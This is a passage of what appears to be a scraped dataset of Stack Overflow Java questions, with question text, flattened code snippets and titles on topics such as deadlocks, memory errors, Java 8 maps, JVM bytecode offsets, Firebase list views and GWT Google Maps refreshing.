; } } public static void main ( String [ ] args ) throws Exception { ThreadDeadlock td = new ThreadDeadlock ( ) ; ThreadDeadlock.RenderPageTask rpt = td.new RenderPageTask ( ) ; rpt.call ( ) ; } }",Why is it deadlocking +Java,"Why does this following codeproduce an out of memory errorBut this code doesn'tI can see that it has something to do with the list being created either inside the while loop or outside of it obviously , but I am unsure on the reason why this happens .",List < Object > list = new ArrayList < > ( ) ; while ( true ) { for ( int i = 0 ; i < 1000000 ; i++ ) { list.add ( new Object ( ) ) ; } } while ( true ) { List < Object > list = new ArrayList < > ( ) ; for ( int i = 0 ; i < 1000000 ; i++ ) { list.add ( new Object ( ) ) ; } },Java out of memory errors +Java,"To try MappedByteBuffer ( memory mapped file in Java ) , I wrote a simple wc -l ( text file line count ) demo : I tried this on a file of about 15 MB ( 15008641 bytes ) , and 100k lines . On my laptop , it takes about 13.8 sec . Why is it so slow ? Complete class code is here : http : //pastebin.com/t8PLRGMaFor the reference , I wrote the same idea in C : http : //pastebin.com/hXnDvZm6It runs in about 28 ms , or 490 times faster.Out of curiosity , I also wrote a Scala version using essentially the same algorithm and APIs as in Java . It runs 10 times faster , which suggests there is definitely something odd going on.Update : The file is cached by the OS , so there is no disk loading time involved.I wanted to use memory mapping for random access to bigger files which may not fit into RAM . That is why I am not just using a BufferedReader .","int wordCount ( String fileName ) throws IOException { FileChannel fc = new RandomAccessFile ( new File ( fileName ) , `` r '' ) .getChannel ( ) ; MappedByteBuffer mem = fc.map ( FileChannel.MapMode.READ_ONLY , 0 , fc.size ( ) ) ; int nlines = 0 ; byte newline = '\n ' ; for ( long i = 0 ; i < fc.size ( ) ; i++ ) { if ( mem.get ( ) == newline ) nlines += 1 ; } return nlines ; }",Why is this `` line count '' program slow in Java ? Using MappedByteBuffer +Java,"I have a map for which the values are a collection . Given a key , I want to remove an element of the collection and return it , but I also want to remove the entry if the collection is empty . Is there a way to do this in a short way using one of the numerous new Map methods of Java 8 ? One easy example ( I use a Stack but it could be a List , a Set , etc. ) . For the sake of the example , let 's say that it is already checked that the map contains the key.I tried doing something likeBut even though it does indeed remove the entry if empty , I do n't know how to get the value returned by pop ( ) .","public static String removeOne ( Map < Integer , Stack < String > > map , int key ) { Stack < String > stack = map.get ( key ) ; String result = stack.pop ( ) ; if ( stack.isEmpty ( ) ) { map.remove ( key ) ; } return result ; } map.compute ( 1 , ( k , v ) - > { v.pop ( ) ; return v.size ( ) == 0 ? null : v ; } ) ;",Java 8 Map of Collections remove element from collection and remove entry if empty +Java,"Following test case will pass : So : a is changed by ++.b remains the same.The questions are : b = a just assign the reference value right , they refer to the same object , at this point there is only one object , right ? What ++ operator does on an Integer ? Since Integer is immutable , does this means ++ created a new Integer object , and assigned it back to the original variable automatically ? If that 's the case , does that means a now point to a different object ? There are 2 objects now ? And b still point to the original one ?","@ Testpublic void assignWrapperTest ( ) { System.out.printf ( `` \nassign - % s\n '' , `` wrapper '' ) ; Integer a = 1000 ; Integer b = a ; System.out.printf ( `` a = % d , b = % d\n '' , a , b ) ; Assert.assertEquals ( a , b ) ; Assert.assertSame ( a , b ) ; // a , b are the same object , a++ ; System.out.printf ( `` a = % d , b = % d\n '' , a , b ) ; Assert.assertNotEquals ( a , b ) ; Assert.assertNotSame ( a , b ) ; // a , b are not the same object , any more , }",What does the ++ operator do to an Integer ? +Java,"While writing an answer to a question about JVM byte code offsets , I noticed something in the behavior of javac and the resulting class files that I can not explain : When compiling a class like thisthen the resulting byte code will contain the following if_icmpge instruction : According to the documentation of the jump instructions , the offset ( which is 32768 in this case ) is computed as follows : If the comparison succeeds , the unsigned branchbyte1 and branchbyte2 are used to construct a signed 16-bit offset , where the offset is calculated to be ( branchbyte1 < < 8 ) | branchbyte2 . So the offset is said to be a signed 16 bit value . However , the maximum value that a signed 16 bit value can hold is 32767 , and not 32768 . The resulting class file still seems to be valid , and can be executed normally.I had a look at the bytecode checking in the OpenJDK , and it seems ( to me ) that this is only valid due to the parentheses being misplaced : It will cast the first byte to signed char . Then it will apply the shift , and add the second byte . I would have expected it to beor maybe evenbut I 'm not familiar with the type promotions and possible compiler-specific caveats of shifting signed and unsigned types , so I 'm not sure whether there is a deeper meaning behind this cast ... So does a jump offset of 32768 comply to the specification ? And does the jump computation code in the OpenJDK make any sense in this regard ?","class FarJump { public static void main ( String args [ ] ) { call ( 0 , 1 ) ; } public static void call ( int x , int y ) { if ( x < y ) { y++ ; y++ ; // ... ( 10921 times - too much code to post here ! ) y++ ; y++ ; } System.out.println ( y ) ; } } public static void call ( int , int ) ; Code : 0 : iload_0 1 : iload_1 2 : if_icmpge 32768 5 : iinc 1 , 1 8 : iinc 1 , 1 ... int jump = ( ( ( signed char ) ( code [ offset+1 ] ) ) < < 8 ) + code [ offset+2 ] ; int jump = ( ( ( signed char ) ( code [ offset+1 ] ) < < 8 ) ) + code [ offset+2 ] ; int jump = ( signed char ) ( ( code [ offset+1 ] ) < < 8 ) + code [ offset+2 ] ) ;",How can the offset for a JVM jump instruction be 32768 ? +Java,"I have encountered a short time ago with a competitive answer better than mine that uses a quite new method reference to me as replacement of lambda.I looked the Oracle specifications about the Method references and there are defined 4 types : Reference to a static method ContainingClass : :staticMethodNameReference to an instance method of a particular object containingObject : :instanceMethodNameReference to an instance method of an arbitrary object of a particular type ContainingType : :methodNameReference to a constructor ClassName : :newI struggle with categorizing this one . I have n't found any question on SO or anything relevant explained in the docs . How would be this translated to an anonymous class ? My suspicion is : ... I do n't understand how is this possible . At first sight , I would guess the expression is : ... yet this is nothing else than ( ) - > new AtomicInteger ( 1 ) .getAndIncrement ( ) . Where is this kind of expression defined and how it exactly would be rewritten in the lambda/anonymous class ?",Stream.generate ( new AtomicInteger ( 1 ) : :getAndIncrement ) ... IntStream.generate ( new IntSupplier ( ) { AtomicInteger atom = new AtomicInteger ( 1 ) ; @ Override public int getAsInt ( ) { return atom.getAndIncrement ( ) ; } } ) ... . IntStream.generate ( new IntSupplier ( ) { @ Override public int getAsInt ( ) { return new AtomicInteger ( 1 ) .getAndIncrement ( ) ; } } ) ... .,Method reference with a full constructor call as a lambda expression in Java +Java,"Here is the question I asked recently : org.apache.commons.codec.digest.Md5Crypt.md5Crypt function . exception occured under linux , but fine under windowsAlthough finally , I resolved it , but I 'm still confused . What made this happen ? My jdk was 1.7 , my tomcat was 7 , my web application was compiled by jdk 1.7 , version of commons-codec.jar was 1.10 , then an exception was thrown.When I changed my tomcat from 7 to 8 , it worked fine . Why ? What does tomcat do to applications ?",java.lang.IllegalAccessError : tried to access method org.apache.commons.codec.digest.DigestUtils.getMd5Digest ( ) Ljava/security/MessageDigest ; from class org.apache.commons.codec.digest.Md5Crypt,what is the relationship between tomcat and jdk and web application ? +Java,"I would like to get a String like : ( JNI style type/method description , or called type descriptor ) from an javax.lang.model.type.TypeMirror object in an AnnotationProcessor . Is there any Convenience method or library , which parses the TypeMirror object and produces a String like above ? I would like to use the String to construct a org.objectweb.asm.Type object from the type descriptor string .",Ljava/lang/Class ; .getName ( ) Ljava/lang/String ;,How to get type descriptor ( JNI style ) String from an TypeMirror object ( annotation processing ) +Java,"When I want to refer to the method in the current scope I still needto specify class name ( for static methods ) or this before : :operator . For example , I need to write : It 's not so big problem for this , but sometimes look overcrowded for static methods as the class name can be quite long . It would be nice if compiler allowed me to write simply : :trimmedLength instead : However Java-8 compiler does n't allow this . For me it seems that it would be quite consistent if class/object name were resolved in the same manner as it 's done for normal method call . This would also support static imports for method references which also can be useful in certain cases.So the question is why such or similar syntax was not implemented in Java 8 ? Are there any problems which would arise with such syntax ? Or it was not simply considered at all ?","import java.util.stream.Stream ; public class StreamTest { public static int trimmedLength ( String s ) { return s.trim ( ) .length ( ) ; } public static void main ( String [ ] args ) { System.out.println ( Stream.of ( `` aaa `` , `` bb `` , `` c `` ) .mapToInt ( StreamTest : :trimmedLength ) .sum ( ) ) ; } } public static void main ( String [ ] args ) { System.out.println ( Stream.of ( `` aaa `` , `` bb `` , `` c `` ) .mapToInt ( : :trimmedLength ) .sum ( ) ) ; }",Why class/object name must be explicitly specified for method references ? +Java,"I was learning multi threading and found slow down of Object.hashCode in multi threaded environment as it is taking over twice as long to compute the default hash code running 4 threads vs 1 thread for the same number of objects.But as per my understanding it should take a similar amount of time doing this in parallel.You can change the number of threads . Each thread has the same amount of work to do so you 'd hope that running 4 threads on a my machine which is quad core machine might take about the same time as running a single thread . I 'm seeing ~2.3 seconds for 4x but .9 s for 1x.Is there any gap in my understanding , please help me understanding this behaviour.For thread count 4 Output is For thread count 1 Output is","public class ObjectHashCodePerformance { private static final int THREAD_COUNT = 4 ; private static final int ITERATIONS = 20000000 ; public static void main ( final String [ ] args ) throws Exception { long start = System.currentTimeMillis ( ) ; new ObjectHashCodePerformance ( ) .run ( ) ; System.err.println ( System.currentTimeMillis ( ) - start ) ; } private final ExecutorService _sevice = Executors.newFixedThreadPool ( THREAD_COUNT , new ThreadFactory ( ) { private final ThreadFactory _delegate = Executors.defaultThreadFactory ( ) ; @ Override public Thread newThread ( final Runnable r ) { Thread thread = _delegate.newThread ( r ) ; thread.setDaemon ( true ) ; return thread ; } } ) ; private void run ( ) throws Exception { Callable < Void > work = new java.util.concurrent.Callable < Void > ( ) { @ Override public Void call ( ) throws Exception { for ( int i = 0 ; i < ITERATIONS ; i++ ) { Object object = new Object ( ) ; object.hashCode ( ) ; } return null ; } } ; @ SuppressWarnings ( `` unchecked '' ) Callable < Void > [ ] allWork = new Callable [ THREAD_COUNT ] ; Arrays.fill ( allWork , work ) ; List < Future < Void > > futures = _sevice.invokeAll ( Arrays.asList ( allWork ) ) ; for ( Future < Void > future : futures ) { future.get ( ) ; } } } ~2.3 seconds ~.9 seconds",Bench Mark in Multi threaded environment +Java,"Working with Firebase . I 'm trying to populate an image view , Textview using Firebase and a custom listview . when the user selects an item from the list it is supposed to save the id of the Firebase item to the user section of my database.All items populate correctly in the list view but when i select an item only position 0 and 5 are actually working the rest of the items always return pos 1-5 looping back . can you please take a look at my code n tell me what I 've done wrong thanks : ) This is my databaseI 'm trying to save the id as a string when an item in listview is clicked . Then Saving it to the user section of my database . example below . ****EDIT****this is my firebase model class**** EDIT ****Example of what is happening is if i select batman the id returned is batman1 . but if i select Test item it still returns the id Batman 1. if i select Default it returns id default . I 've tried adding a few more items to the database and Depending on the height and width of my custom listviewitem.xml will make a sort of loop . Only allowing me to capture ids that are from a list view item i can see . any items off screen will return the wrong id looping back to pos 0,1,2,3 and so on . ****EDIT**** Added Logs to my onitem click method The results came back as follows for each of the three itemsitem 1 in my listview is batman and returnsitem 2 in my listview is default and returnsitem 3 in my listview is test and returnsso from this i have figured its something to do with the avatarid stringIve added a log to the populate method to see if the actual model gives the right id in the first placeand it gives the right id . so it has to be something to do with The Array AVATAR_ID ? *****EDIT 21/7/2019******Ok so using the answer below it seemed to be fixed . but since ive added more items to the database . it seems still to be doing it . So from further testing , i can tell you when it happens.. all ids capture correctly until you scroll . this means that as long as all the list items fit on the screen they return the right id . hence why i thought it was fixed with the below answer.i first had the imageview size set to 300dp squared so it was a big list view item hence only 2 items click working correctly . changing the size to 90dp squared made it so the 5 items fit.the list items ids return in a loop from the first 5. e.g clicking item 6 returns id of item 0 , item 7 returns id of item 1 n so on . Yet the position of the list view item and all data inside the list is correctThe first page all work correctly . I 've removed the image view to try to see if it was perhaps the image was too bigThe second page all ids return in a loop from the first page e.g . the item Mario returns the Id for Batman and the item spiderman returns id for DJ Lama","private void Display_Images ( ) { ListView listOfImages = findViewById ( R.id.avatar_list ) ; listOfImages.setOnItemClickListener ( new AdapterView.OnItemClickListener ( ) { @ Override public void onItemClick ( AdapterView < ? > parent , View view , int position , long id ) { FirebaseAuth mAuth =FirebaseAuth.getInstance ( ) ; String userid = mAuth.getUid ( ) ; avatar_id = AVATAR_ID.get ( position ) ; DatabaseReference db = FirebaseDatabase.getInstance ( ) .getReference ( ) .child ( `` Users '' ) .child ( userid ) ; db.child ( `` avatarID '' ) .setValue ( avatar_id ) ; finish ( ) ; } } ) ; adapter = new FirebaseListAdapter < Image_Selector > ( this , Image_Selector.class , R.layout.avatars , FirebaseDatabase.getInstance ( ) .getReference ( ) .child ( `` Avatars '' ) ) { @ Override protected void populateView ( View v , Image_Selector model , int position ) { imageView = v.findViewById ( R.id.image ) ; tv = v.findViewById ( R.id.tvavatar ) ; AVATAR_ID.add ( model.getID ( ) ) ; tv.setText ( model.getName ( ) ) ; Glide.with ( getBaseContext ( ) ) .load ( model.getUrl ( ) ) .into ( imageView ) ; } } ; listOfImages.setAdapter ( adapter ) ; } `` Avatars '' : { `` Batman1 '' : { `` id '' : `` Batman1 '' , `` name '' : `` Batman Logo '' , `` url '' : `` url to image '' } , '' Default '' : { `` id '' : `` Default '' , `` name '' : `` Default '' , `` url '' : `` url to image '' } , '' Test '' : { `` id '' : `` Test '' , `` name '' : `` TEST '' , `` url '' : `` '' } `` Users '' : { `` F3vHZSClnPhE9cDjPeY5x0PuTmz1 '' : { `` Username '' : `` Username Appears here . `` , `` avatarID '' : `` here is where the id should be saved '' , } , public class Image_Selector { String name ; String url ; String id ; public Image_Selector ( String name , String url , String id ) { this.name = name ; this.url = url ; this.id = id ; } public Image_Selector ( ) { } public void setName ( String name ) { this.name = name ; } public void setUrl ( String url ) { this.url = url ; } public void setId ( String id ) { this.id = id ; } public String getName ( ) { return name ; } public String getUrl ( ) { return url ; } public String getId ( ) { return id ; } String pos = String.valueOf ( position ) ; Log.i ( `` String_ID `` , avatar_id ) ; Log.i ( `` String_POSITION `` , pos ) ; Log.i ( `` String_USERID '' , userid ) ; 2019-07-11 12:04:51.152 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_ID : Batman12019-07-11 12:04:51.152 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_POSITION : 02019-07-11 12:04:51.152 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_USERID : F3vHZSClnPhE9cDjPeY5x0PuTmz1 2019-07-11 12:06:22.920 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_ID : Default2019-07-11 12:06:22.935 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_POSITION : 12019-07-11 12:06:22.935 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_USERID : F3vHZSClnPhE9cDjPeY5x0PuTmz1 2019-07-11 12:07:18.983 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_ID : Batman12019-07-11 12:07:18.984 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_POSITION : 22019-07-11 12:07:18.984 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_USERID : F3vHZSClnPhE9cDjPeY5x0PuTmz1 String modelid = model.getID ( ) ; Log.i ( `` String_id_AtSource '' , modelid ) ; 2019-07-11 12:20:34.504 3685-3685/studios.p9p.chatomatic.chat_o_matic I/String_id_AtSource : Test",OnitemClick returns the wrong string value +Java,"I am attempting to convert a 2D int array into a 2D String array with this code : but I get the compile-time error can not convert from String to int when doing Integer.toString ( i ) . I thought it could be because I 'm collecting the results of streaming an int array in a String array , but does n't map create a new Collection ?",Arrays.stream ( intArray ) .map ( a - > Arrays.stream ( a ) .map ( i - > Integer.toString ( i ) ) .toArray ( ) ) .toArray ( String [ ] [ ] : :new ) ;,How can I convert an 2D int array into a 2D String array with Streams ? +Java,"I 'm displaying a weather map in a GWT application . I 'm using GWT 2.7 and the GWT wrapper of the GoogleMaps JavaScript API available here ( gwt-maps-3.8.0-pre1.zip ) .I use a tile server to fetch the weather , which updates every 5 minutes . On the 5 minute mark , I refresh the map by setting the zoom to 1 and then back to the original , by triggering a resize , and by removing and then adding the weather layer again.This worked fine . However , recently I noticed that this no longer works : the refresh never even goes to the tile server , so no new weather is displayed . If you leave my map up for 12 hours , you 'll be looking at weather that 's 12 hours old . Previously , the map would automatically stay updated . I have n't changed any of my code . So my guess is that something changed in the underlying GoogleMaps JavaScript API.However , I then created this simple pure-JavaScript example : To my surprise , this still works fine . Whenever you click the Refresh button , the map goes to the tile server and fetches new tiles.So I tried doing the exact same thing in GWT : This should do the same thing as the pure-JavaScript example . Instead , when I click the button , the map does refresh ( I see the weather layer blink ) , but it does n't actually go to the tile server for new tiles.Weirder still , this `` sorta '' works in Internet Explorer : maybe 1 out of 3 times I click the button , the map actually goes to the tile server . But in Chrome , it never goes to the tile server when I click the button.To determine this , I am looking at the network tab of the browser tools . I would expect the map to hit the tile server every time I click the button . That 's what it does in pure JavaScript , and that 's what it used to do in GWT , but sometime in the last couple months the GWT behavior has changed.I do n't think this is a browser caching issue . The problem is not that the map tries to fetch new tiles but gets old ones , it 's that it never tries to fetch new tiles . I click the button , and I see nothing happening in the network tab of the developer tools.Why do I see a different behavior in JavaScript vs GWT ? Why do I see a different behavior in different browsers ? Is the GWT GoogleMaps library doing some kind of internal caching ? Is there a way to disable this ? Why has this behavior apparently changed ? How can I make the GWT map refresh by going to the tile server for new tiles ?","< ! DOCTYPE html > < html > < head > < title > Map Test < /title > < style type= '' text/css '' > html , body { height : 100 % ; margin : 0 ; padding : 0 ; } # map { width:90 % ; height : 90 % ; display : inline-block ; } < /style > < /head > < body > < div id= '' map '' > < /div > < button type= '' button '' onClick= '' refreshMap ( ) '' > Refresh < /button > < script type= '' text/javascript '' > var map ; var tileNEX ; function initMap ( ) { var mapOptions = { zoom : 8 , center : new google.maps.LatLng ( 42.5 , -95.5 ) , mapTypeId : google.maps.MapTypeId.ROADMAP } ; map = new google.maps.Map ( document.getElementById ( 'map ' ) , mapOptions ) ; tileNEX = new google.maps.ImageMapType ( { getTileUrl : function ( tile , zoom ) { return `` http : //mesonet.agron.iastate.edu/cache/tile.py/1.0.0/nexrad-n0q-900913/ '' + zoom + `` / '' + tile.x + `` / '' + tile.y + '' .png ? `` + ( new Date ( ) ) .getTime ( ) ; } , tileSize : new google.maps.Size ( 256 , 256 ) , opacity:0.60 , name : 'NEXRAD ' , isPng : true } ) ; map.overlayMapTypes.setAt ( `` 0 '' , tileNEX ) ; } function refreshMap ( ) { var zoom = map.getZoom ( ) ; map.setZoom ( 1 ) ; map.setZoom ( zoom ) ; //google.maps.event.trigger ( map , 'resize ' ) ; //var layer = map.overlayMapTypes.getAt ( 0 ) ; //map.overlayMapTypes.setAt ( 0 , null ) ; //map.overlayMapTypes.setAt ( 0 , layer ) ; } < /script > < script async defer src= '' https : //maps.googleapis.com/maps/api/js ? callback=initMap '' > < /script > < /body > < /html > package com.example.client ; import com.google.gwt.ajaxloader.client.AjaxLoader ; import com.google.gwt.ajaxloader.client.AjaxLoader.AjaxLoaderOptions ; import com.google.gwt.core.client.EntryPoint ; import com.google.gwt.dom.client.Document ; import com.google.gwt.event.dom.client.ClickEvent ; import com.google.gwt.event.dom.client.ClickHandler ; import com.google.gwt.user.client.ui.Button ; import com.google.gwt.user.client.ui.RootPanel ; import com.google.maps.gwt.client.GoogleMap ; import com.google.maps.gwt.client.LatLng ; import com.google.maps.gwt.client.MapOptions ; import com.google.maps.gwt.client.MapType ; import com.google.maps.gwt.client.MapTypeId ; public class GwtMapTest implements EntryPoint { @ Override public void onModuleLoad ( ) { AjaxLoaderOptions options = AjaxLoaderOptions.newInstance ( ) ; options.setOtherParms ( `` sensor=false '' ) ; Runnable callback = new Runnable ( ) { public void run ( ) { createMap ( ) ; } } ; AjaxLoader.loadApi ( `` maps '' , `` 3 '' , callback , options ) ; } public void createMap ( ) { MapOptions mapOpts = MapOptions.create ( ) ; mapOpts.setZoom ( 4 ) ; mapOpts.setCenter ( LatLng.create ( 37.09024 , -95.712891 ) ) ; mapOpts.setMapTypeId ( MapTypeId.TERRAIN ) ; mapOpts.setStreetViewControl ( false ) ; final GoogleMap map = GoogleMap.create ( Document.get ( ) .getElementById ( `` map_canvas '' ) , mapOpts ) ; addWeatherLayer ( map ) ; Button button = new Button ( `` Gwt Refresh '' ) ; button.addClickHandler ( new ClickHandler ( ) { @ Override public void onClick ( ClickEvent event ) { refreshWeatherLayer ( map ) ; } } ) ; Button nativeButton = new Button ( `` Native Refresh '' ) ; nativeButton.addClickHandler ( new ClickHandler ( ) { @ Override public void onClick ( ClickEvent event ) { nativeRefreshWeatherLayer ( map ) ; } } ) ; RootPanel.get ( ) .add ( button ) ; RootPanel.get ( ) .add ( nativeButton ) ; } public native void addWeatherLayer ( GoogleMap map ) /*- { var imageMapType = new $ wnd.google.maps.ImageMapType ( { getTileUrl : function ( coord , zoom ) { return `` http : //mesonet.agron.iastate.edu/cache/tile.py/1.0.0/nexrad-n0q-900913/ '' + zoom + `` / '' + coord.x + `` / '' + coord.y + `` .png '' ; } , tileSize : new $ wnd.google.maps.Size ( 256 , 256 ) , opacity : .50 , isPng : true } ) ; map.overlayMapTypes.setAt ( `` 0 '' , imageMapType ) ; } -*/ ; private void refreshWeatherLayer ( GoogleMap map ) { double zoom = map.getZoom ( ) ; map.setZoom ( 1 ) ; map.setZoom ( zoom ) ; MapType layer = map.getOverlayMapTypes ( ) .getAt ( 0 ) ; map.getOverlayMapTypes ( ) .setAt ( 0 , null ) ; map.getOverlayMapTypes ( ) .setAt ( 0 , layer ) ; } private native void nativeRefreshWeatherLayer ( GoogleMap map ) /*- { var zoom = map.getZoom ( ) ; map.setZoom ( 1 ) ; map.setZoom ( zoom ) ; $ wnd.google.maps.event.trigger ( map , 'resize ' ) ; var layer = map.overlayMapTypes.getAt ( 0 ) ; map.overlayMapTypes.setAt ( 0 , null ) ; map.overlayMapTypes.setAt ( 0 , layer ) ; } -*/ ; }",Refreshing GoogleMaps tile server works in JavaScript but not in GWT +Java,"In java String source code , there are few places noted with the following comment : Consider the following example : As we can see , offset , value.length and count are all int , thus the value might be either -1 , 0 , 1 , or any other integers . What does the `` near '' and `` > > > '' in the comment means , am I missing something here ?","// Note : offset or count might be near -1 > > > 1 . public String ( char value [ ] , int offset , int count ) { if ( offset < 0 ) { throw new StringIndexOutOfBoundsException ( offset ) ; } if ( count < 0 ) { throw new StringIndexOutOfBoundsException ( count ) ; } // Note : offset or count might be near -1 > > > 1 . if ( offset > value.length - count ) { throw new StringIndexOutOfBoundsException ( offset + count ) ; } this.offset = 0 ; this.count = count ; this.value = Arrays.copyOfRange ( value , offset , offset+count ) ; }",`` offset or count might be near -1 > > > 1 . '' What does it mean +Java,Why does it happen that the stack trace printed for the following Java program is not displayed in a proper order on the console screen ? It gets mixed up with other messages on the screen.Is there any parallelism involved which causes it ? Java program : I have commented against the lines which throw an Exception.run 1 : run 2 : Similarly I get some other patterns every time I run it . Anybody explain this behavior.I am usingEclipse Java EE IDE for Web Developers.Version : Luna Release ( 4.4.0 ) Build id : 20140612-0600I apologize for lengthy question,package evm ; public class Client { public static void main ( String [ ] args ) { EVM evm = new EVM ( ) ; try { evm.setCandidates ( 90 ) ; /**An Exception thrown here**/ } catch ( CandidatesOutOfLimitsException e ) { e.printStackTrace ( ) ; //System.out.print ( e.getMessage ( ) ) ; } try { evm.voteForCandidate ( 43 ) ; /**An Exception thrown here**/ } catch ( BallotUnitOffException e1 ) { e1.printStackTrace ( ) ; //System.out.print ( e1.getMessage ( ) ) ; } evm.pressBallotButton ( ) ; System.out.println ( evm ) ; //other messages evm.switchOn ( ) ; System.out.println ( evm ) ; //other messages try { evm.voteForCandidate ( 43 ) ; /**An Exception thrown here**/ } catch ( BallotUnitOffException e ) { e.printStackTrace ( ) ; //System.out.print ( e.getMessage ( ) ) ; } } } evm.CandidatesOutOfLimitsException : Number of Candidates can not exceed 64 at evm.EVM.setCandidates ( EVM.java:41 ) at evm.Client.main ( Client.java:9 ) evm.BallotUnitOffException : Ballot Unit is not On at evm.BallotUnit.pressCandidateButton ( BallotUnit.java:38 ) at evm.EVM.voteForCandidate ( EVM.java:59 ) at evm.Client.main ( Client.java:16 ) evm.BallotUnitOffException : Ballot Unit is not On at evm.BallotUnit.pressCandidateButton ( BallotUnit.java:38 ) at evm.EVM.voteForCandidate ( EVM.java:59 ) at evm.Client.main ( Client.java:28 ) Control Unit State : evm.Off @ 42a57993On Lamp : evm.Off @ 15db9742Ballot Unit : Ready Lamp : evm.Off @ 6d06d69cSlide Switch : evm.SlideSwitchOne @ 7852e922Ballot Unit : Ready Lamp : evm.Off @ 4e25154fSlide Switch : evm.SlideSwitchTwo @ 70dea4eBallot Unit : Ready Lamp : evm.Off @ 5c647e05Slide Switch : evm.SlideSwitchThree @ 33909752Ballot Unit : Ready Lamp : evm.Off @ 55f96302Slide Switch : evm.SlideSwitchFour @ 3d4eac69Control Unit State : evm.On @ 28d93b30On Lamp : evm.On @ 75b84c92Ballot Unit : Ready Lamp : evm.On @ 6bc7c054Slide Switch : evm.SlideSwitchOne @ 7852e922Ballot Unit : Ready Lamp : evm.On @ 232204a1Slide Switch : evm.SlideSwitchTwo @ 70dea4eBallot Unit : Ready Lamp : evm.On @ 4aa298b7Slide Switch : evm.SlideSwitchThree @ 33909752Ballot Unit : Ready Lamp : evm.On @ 7d4991adSlide Switch : evm.SlideSwitchFour @ 3d4eac69 evm.CandidatesOutOfLimitsException : Number of Candidates can not exceed 64 at evm.EVM.setCandidates ( EVM.java:41 ) at evm.Client.main ( Client.java:9 ) evm.BallotUnitOffException : Ballot Unit is not On at evm.BallotUnit.pressCandidateButton ( BallotUnit.java:38 ) at evm.EVM.voteForCandidate ( EVM.java:59 ) at evm.Client.main ( Client.java:16 ) Control Unit State : evm.Off @ 42a57993On Lamp : evm.Off @ 15db9742Ballot Unit : Ready Lamp : evm.Off @ 6d06d69cSlide Switch : evm.SlideSwitchOne @ 7852e922Ballot Unit : Ready Lamp : evm.Off @ 4e25154fSlide Switch : evm.SlideSwitchTwo @ 70dea4eBallot Unit : Ready Lamp : evm.Off @ 5c647e05Slide Switch : evm.SlideSwitchThree @ 33909752Ballot Unit : Ready Lamp : evm.Off @ 55f96302Slide Switch : evm.SlideSwitchFour @ 3d4eac69Control Unit State : evm.On @ 28d93b30On Lamp : evm.On @ 75b84c92Ballot Unit : Ready Lamp : evm.On @ 6bc7c054Slide Switch : evm.SlideSwitchOne @ 7852e922Ballot Unit : Ready Lamp : evm.On @ 232204a1Slide Switch : evm.SlideSwitchTwo @ 70dea4eBallot Unit : Ready Lamp : evm.On @ 4aa298b7Slide Switch : evm.SlideSwitchThree @ 33909752Ballot Unit : Ready Lamp : evm.On @ 7d4991adSlide Switch : evm.SlideSwitchFour @ 3d4eac69evm.BallotUnitOffException : Ballot Unit is not On at evm.BallotUnit.pressCandidateButton ( BallotUnit.java:38 ) at evm.EVM.voteForCandidate ( EVM.java:59 ) at evm.Client.main ( Client.java:28 ),Stack trace is not printed in proper order with other messages on console +Java,"I have read this post negative and positive zero.To my understanding following code should give true and true as a output.However , it is giving false and true as a output.I 'm comparing negative zero with a positive zero.Why do we have different behavior for 0 's for Integer and Float ?",public class Test { public static void main ( String [ ] args ) { float f = 0 ; float f2 = -f ; Float F = new Float ( f ) ; Float F1 = new Float ( f2 ) ; System.out.println ( F1.equals ( F ) ) ; int i = 0 ; int i2 = -i ; Integer I = new Integer ( i ) ; Integer I1 = new Integer ( i2 ) ; System.out.println ( I1.equals ( I ) ) ; } },+0 and -0 shows different behavior for int and float data +Java,What is the correct term/name for the following construction :,string myString = ( boolValue==true ? `` true '' : `` false '' ) ;,What is the name of this code construction : condition ? true_expression : false_expression +Java,"I have started to work with Java recently and still got confused when dealing with generic types . The following is a simplified scenario where I am having some problems.I have a class wich holds a Map using a Class type as Key and an Collection of objects of that class : I can call addListing without problems : Now i decided to create a Class to provide a fluid interface . Something like : Then i came with : But when I try to compile I get : Error : ( 18 , 12 ) java : method addListing in class util.GenericListInside can not be applied to given types ; required : java.lang.Class , java.util.List found : java.lang.Class , java.util.List reason : inferred type does not conform to equality constraint ( s ) inferred : T equality constraints ( s ) : T , TThis message is a little bit confusing ... can anyone figure out what am I doing wrong ?","public class GenericListInside { private Map < Class < ? > , List < ? > > mapping = new HashMap < > ( ) ; public < T > void addListing ( Class < T > clazz , List < T > object ) { mapping.put ( clazz , object ) ; } } GenericListInside gli = new GenericListInside ( ) ; List < Foo > list = new ArrayList < > ( ) ; //add something to listgli.addListing ( Foo.class , list ) ; with ( Foo.class ) .use ( list ) ; public class FluidInserter < T > { Class < T > clazz ; GenericListInside gli = new GenericListInside ( ) ; public FluidInserter with ( Class < T > clazz ) { this.clazz = clazz ; return this ; } public < T > void use ( List < T > list ) { gli.addListing ( clazz , list ) ; } }",Java generic type resolution +Java,"Good afternoon all , I was wondering what 's the reason that is valid butis a syntax/compiler error ? What 's the reason that we have to use an intermediary variable for @ SuppressWarnings ( `` unchecked '' ) ?",public class test < T > { T [ ] backing_array ; public void a ( int initial_capacity ) { @ SuppressWarnings ( `` unchecked '' ) T [ ] backing_array = ( T [ ] ) new Object [ initial_capacity ] ; this.backing_array = backing_array ; } } public class test < T > { T [ ] backing_array ; public void b ( int initial_capacity ) { @ SuppressWarnings ( `` unchecked '' ) this.backing_array = ( T [ ] ) new Object [ initial_capacity ] ; } },Why do we have to use an intermediary variable for @ SuppressWarnings ( `` unchecked '' ) ? +Java,"I am doing some practice problems for a competition and I have been working on this algorithm like all day . If you want to read the whole problem here it is , but I will give you a short explanation because it is kind of a long problem.Problem : You have to verify ID numbers by plugging the ID number into a checksum . The ID needs to be converted to base-10 before you can plug it into the algorithm . The ID number starts out as letters : Z = 0 , Y = 1 , X = 2 , W = 3 , V = 4I am not having trouble with the conversion from these letters to base-10 , my conversion code is good so I 'll show you the next part of the problem : Part 2 : Once you have your base-10 ID number you need to plug it into the following algorithm : Note : each ID number MUST be 8 digits long , 0 's will precede a number that is not at least 8 digits.So to simplify : What is most important here , is that X is not the operation * ( multiply ) . X is it 's own operation defined later.Note : The most significant digit seems to be d7 but I 'm not sure , the problem is not very clear about it.Here are the 